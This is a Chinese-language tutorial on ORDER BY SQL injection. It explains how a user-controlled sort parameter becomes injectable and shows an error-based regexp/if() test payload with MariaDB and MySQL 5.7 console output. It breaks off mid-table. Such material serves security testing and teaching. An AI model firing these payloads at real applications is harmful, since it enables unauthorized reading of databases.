Order by注入

Order by注入

order by注入顾名思义可控参数在oder by后，可能出现在排序功能，想象一个功能可以根据用户输入的参数选择排名榜单，例如通过商品的名称select * from test01 order by [name];或者通过商品的价格select * from test01 order by [price];。

例如select * from test01 order by [args];

可以通过下面几个方法测试是否存在注入点：

利用报错

可以构造一些报错语句得到相关信息

regexp

select 1 regexp if(1=1,1,0x00) #正常显示
select 1 regexp if(1=2,1,0x00) #出现报错

这个在10.5.12-MariaDB-1已经不行了，而在mysql5.7还能使用

#10.5.12-MariaDB-1均正常显示
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jack     | 123456 |
|  3 | jackk    | 678910 |
+----+----------+--------+

MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jack     | 123456 |
|  3 | jackk    | 678910 |
+----+----------+--------+

#mysql5.7.18则会报错
mysql> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 123456 |
|  2 | jackk    | 678910 |
|  4 | jack     | 123456